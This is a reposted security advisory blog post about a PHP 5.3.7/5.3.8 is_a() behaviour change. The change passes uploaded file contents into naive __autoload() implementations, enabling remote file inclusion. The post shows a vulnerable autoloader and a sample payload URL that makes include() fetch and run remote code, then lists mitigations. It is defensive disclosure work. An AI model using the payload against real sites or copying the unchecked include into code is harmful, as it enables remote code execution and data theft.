Security bug in is_a function in PHP 5.3.7 / 5.3.8

简介: http://www.byte.nl/blog/2011/09/23/security-bug-in-is_a-function-in-php-5-3-7-5-3-8/ A few wee...

http://www.byte.nl/blog/2011/09/23/security-bug-in-is_a-function-in-php-5-3-7-5-3-8/

 A few weeks ago we migrated a part of our hosting environment from PHP 5.3.6 to PHP 5.3.8. Normally an upgrade like this doesn’t cause any problems, since the PHP minor releases only contain bug- and security fixes. This time however, something big did change. The behaviour of the is_a function was radically altered, causing quite a few errors for clients using certain PHP/PEAR Frameworks.. We quickly reverted it, investigated the issue and discovered both the source, and alarmingly, it turned out that a big security hole was introduced.

What was fixed?

PHP 5.3.7 included a fix for PHP bug #53727. This fix however changed the behavior of the is_a() function, a function normally used to check if a certain variable is a child of a specific Class. The original behavior accepted all sorts of inputs as its primary argument, including strings. The old behavior was to see if this “string” was an instance of a specific Class, which it obviously wasn’t, and return false. The new behavior however, attempts to be “helpful”, and passes its first argument to the __autoload() function. And it is this exact change that caused such unexpected behavior for our customers.

The problem our customers were having is that they had some (custom) code that implemented a very basic autoloader, in an attempt to reduce memory footprints by automatically loading class definitions when they were needed using the __autoload() function. Their code however never expected to be given anything other than a class name, but now all of a sudden they were receiving all sorts of objects. Take for example the following code snippet using a standard pear File library:

02 function __autoload($class_name) {
03     include $class_name . '.php';
04 }
05 $uploaded_file = File::readAll($uploaded_filename);
06 if (PEAR::isError($uploaded_file)){
07     print_error($uploaded_file);
08 }else{
09     process_upload($uploaded_file);
10 }

Normally one wouldn’t expect the __autoload() function to be called at all here, but the PEAR::File library uses the PEAR standards and uses the PEAR::isError() call internally to check if the file was read correctly or if an error was returned. This function ends up calling the is_a function, and this ends up calling the autoloader function, which is obviously poorly equipped to handle anything but explicit classnames.
As a result, even this standard piece of PHP code, using standard libraries and code snippets from the php.net site itself suddenly has its behavior changed. Instead of simply sending the uploaded file to the process_upload() function, the __autoload() function now tries to include a file that doesn’t exist and throws a giant error to the client.

The problem with the new behavior

The biggest problem with this new behavior however, is not just the fact that errors are suddenly displayed. Of course this was a problem for the webmasters hosting at our servers, but the real problem lies even deeper than that…

A lot of __autoload() implementations we found on our systems use the standard example from the php.net to include their classes, which doesn’t contain any sort of checks before trying to include a file. While one could argue that it’s never a good idea to simply copy example code into a live environment, this does happen more often than not, according to our scans. And it is exactly in this standard behavior that the problem lies.

If we look again at the example above, it’s easy to see what happens. A file, say a JPG file, is uploaded by the user and read from the disk. The script checks to see if it read the file correctly and in doing so passes the contents of the uploaded file to the __autoload() function, that tries to load the class. Now normally the server would print an error stating “Error: “include(/var/www/domain.com/upload/.php) [function.include]: failed to open stream: No such file or directory” (error #2).”, and present this to the user.
Now what if the user doesn’t upload an image file, but a carefully crafted text file with a JPEG extension. Imagine for example the following contents in the file:

http://www.cracker.com/hack-me-include

Now we take that file and upload it to the website. The file is read by File::readAll(), its contents returned in the $uploaded_file. We pass this variable to the PEAR::isError() function, it passes it to the __autoload() function, which blindly prepares the string to include:

 "http://www.cracker.com/hack-me-include" . ".php"  =>  "http://www.cracker.com/hack-me-include.php".

A nice and complete URL. It feeds this to the include() function which downloads the file with code from the remote website and, eventually, executes it.
At this point, you can consider your website lost, as the hacker can execute whatever code it wants on your website. He has full access to your database configuration file, your settings, your database with customer information, and everything else. The only recourse you have at this point is to restore your entire website from a known and trusted backup, change all your passwords (Both for your hosting envirnoment, your website, and for all your customers who’s information has been exposed to the hackers.

The fix

Luckily there’s quite a few ways to fix it.

  • Disable the setting allow_url_include in your PHP.ini to prevent remote file inclusion
  • Patch your __autoload() to only include from a local dir;
    1 include("./includes/" . $class_name . ".php");
  • Install Suhosin to protect yourself from remote file inclusion, and more.

Of course, the best fix for this is to not install PHP 5.3.7 or PHP 5.3.8 untill the PHP Project has fixed this bug and reverted to the old behavior

 

Update 2011-Sep-26: Replaced allow_url_fopen with allow_url_include, thanks Pierre!

目录
相关文章
|
2月前
|
Java 中间件 Serverless
Serverless 应用引擎操作报错合集之在阿里函数计算中,云函数怎么一直报错Function instance exited unexpectedly(code 1, message:operation not permitted) with start command 'php server.php '.如何解决
Serverless 应用引擎(SAE)是阿里云提供的Serverless PaaS平台,支持Spring Cloud、Dubbo、HSF等主流微服务框架,简化应用的部署、运维和弹性伸缩。在使用SAE过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
|
PHP Windows
windows下 Call to undefined function posix_getpid() in ……\Workerman\Worker.php 的解决方法
windows下 Call to undefined function posix_getpid() in ……\Workerman\Worker.php 的解决方法
147 0
windows下 Call to undefined function posix_getpid() in ……\Workerman\Worker.php 的解决方法
|
消息中间件 PHP
laravel6 使用rabbitmq报错:Call to a member function make() on null at Queue\\Jobs\\Job.php:215
laravel6 使用rabbitmq报错:Call to a member function make() on null at Queue\\Jobs\\Job.php:215
156 0
|
存储 PHP
PHP 零基础入门笔记(9):函数 function
PHP 零基础入门笔记(9):函数 function
106 0
|
PHP
连接数库失败could not find driver Fatal error: Call to a member function prepare() on a non-object in D:\AppServ\www\xsphp_code\brophp\bases\dpdo.class.php
解决方法: 编辑使用的 php.ini, 找到下面扩展并去掉注释打开扩展即可extension=php_pdo.dllextension=php_pdo_mysql.dllextension=php_pdo_pgsql.
1110 0
|
安全 PHP
PHP cURL 'safe mode' Security Bypass Vulnerability
The following proof-of-concept PHP code is available:var_dump(curl_exec(curl_init("file://safe_mode_bypass/x00".
813 0
|
安全 PHP 网络架构
PHP Security for Deployers
  PHP Security for Deployers If you're a Developer READ THIS and then work with your SysAdmin...
740 0

热门文章

最新文章